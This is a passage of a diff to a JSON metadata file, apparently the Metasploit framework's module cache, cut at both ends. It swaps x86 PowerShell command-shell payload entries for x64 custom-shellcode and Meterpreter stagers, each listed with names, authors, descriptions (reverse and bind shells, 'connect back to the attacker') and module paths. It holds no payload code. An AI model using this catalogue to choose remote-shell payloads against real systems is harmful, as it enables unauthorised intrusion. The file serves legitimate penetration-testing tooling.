PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -185136,9 +194718,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -185147,9 +194729,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp", "aliases": [ ], @@ -185158,13 +194740,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape ", - "Borja Merino " + "bwatters-r7", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", "references": [ ], @@ -185175,9 +194754,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185186,9 +194765,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4", "aliases": [ ], @@ -185197,13 +194776,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", + "bwatters-r7", "hdm ", "skape ", - "Borja Merino " + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ ], @@ -185214,20 +194795,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid", "aliases": [ ], @@ -185236,12 +194817,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "bwatters-r7", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -185252,9 +194832,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -185263,9 +194843,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/custom/reverse_http": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http", "aliases": [ ], @@ -185274,13 +194854,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape ", + "bwatters-r7", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ ], @@ -185291,9 +194868,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -185302,9 +194879,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_named_pipe": { - "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", + "payload_cmd/windows/powershell/x64/custom/reverse_https": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https", "aliases": [ ], @@ -185313,11 +194890,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "UserExistsError" + "bwatters-r7", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ ], @@ -185328,9 +194906,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -185339,9 +194917,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe", "aliases": [ ], @@ -185350,11 +194928,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "vlad902 " + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", "references": [ ], @@ -185365,9 +194942,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -185376,9 +194953,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp", "aliases": [ ], @@ -185387,12 +194964,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "bwatters-r7", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -185403,9 +194978,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185414,9 +194989,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4", "aliases": [ ], @@ -185425,14 +195000,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", + "bwatters-r7", "hdm ", "skape ", + "sf ", "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", "references": [ ], @@ -185443,9 +195019,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -185454,9 +195030,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid", "aliases": [ ], @@ -185465,12 +195041,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "bwatters-r7", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -185481,9 +195056,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -185492,9 +195067,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/find_tag": { - "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/shell/find_tag", + "payload_cmd/windows/powershell/x64/custom/reverse_winhttp": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp", "aliases": [ ], @@ -185503,11 +195078,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "skape " + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ ], @@ -185518,9 +195092,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/find_tag", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -185529,9 +195103,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/custom/reverse_winhttps": { + "name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps", "aliases": [ ], @@ -185540,12 +195114,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "bwatters-r7", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ ], @@ -185556,9 +195128,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -185567,9 +195139,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { + "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", "aliases": [ ], @@ -185577,12 +195149,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "spoonm ", - "sf ", - "vlad902 " + "Spencer McIntyre", + "Matt Graeber", + "Shelby Pace" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", "references": [ ], @@ -185593,9 +195164,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185604,9 +195175,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/exec": { + "name": "Powershell Exec, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/powershell/x64/exec", "aliases": [ ], @@ -185615,10 +195186,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nExecute an arbitrary command (Windows x64)", "references": [ ], @@ -185629,9 +195199,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/exec", "check": false, "post_auth": false, "default_credential": false, @@ -185640,9 +195210,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", + "payload_cmd/windows/powershell/x64/loadlibrary": { + "name": "Powershell Exec, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/powershell/x64/loadlibrary", "aliases": [ ], @@ -185651,12 +195221,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "scriptjunkie", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nLoad an arbitrary x64 library path", "references": [ ], @@ -185667,9 +195235,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, @@ -185678,9 +195246,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { - "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/messagebox": { + "name": "Powershell Exec, Windows MessageBox x64", + "fullname": "payload/cmd/windows/powershell/x64/messagebox", "aliases": [ ], @@ -185689,12 +195257,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", - "skape " + "pasta " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", "references": [ ], @@ -185705,9 +195270,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/messagebox", "check": false, "post_auth": false, "default_credential": false, @@ -185716,9 +195281,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", + "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -185727,15 +195292,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", "skape ", - "RageLtMan" + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185744,9 +195308,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185755,9 +195319,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", + "payload_cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -185766,16 +195330,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", "skape ", - "mihi", - "RageLtMan" + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185784,20 +195346,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/x64/meterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_named_pipe", "aliases": [ ], @@ -185806,16 +195368,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", "skape ", - "mihi", - "RageLtMan" + "sf ", + "OJ Reeves", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185824,20 +195385,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_named_pipe", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -185846,14 +195407,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185862,9 +195423,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -185873,9 +195434,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell/reverse_udp": { - "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", "aliases": [ ], @@ -185884,13 +195445,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "RageLtMan " + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185899,20 +195465,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_udp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell_bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": 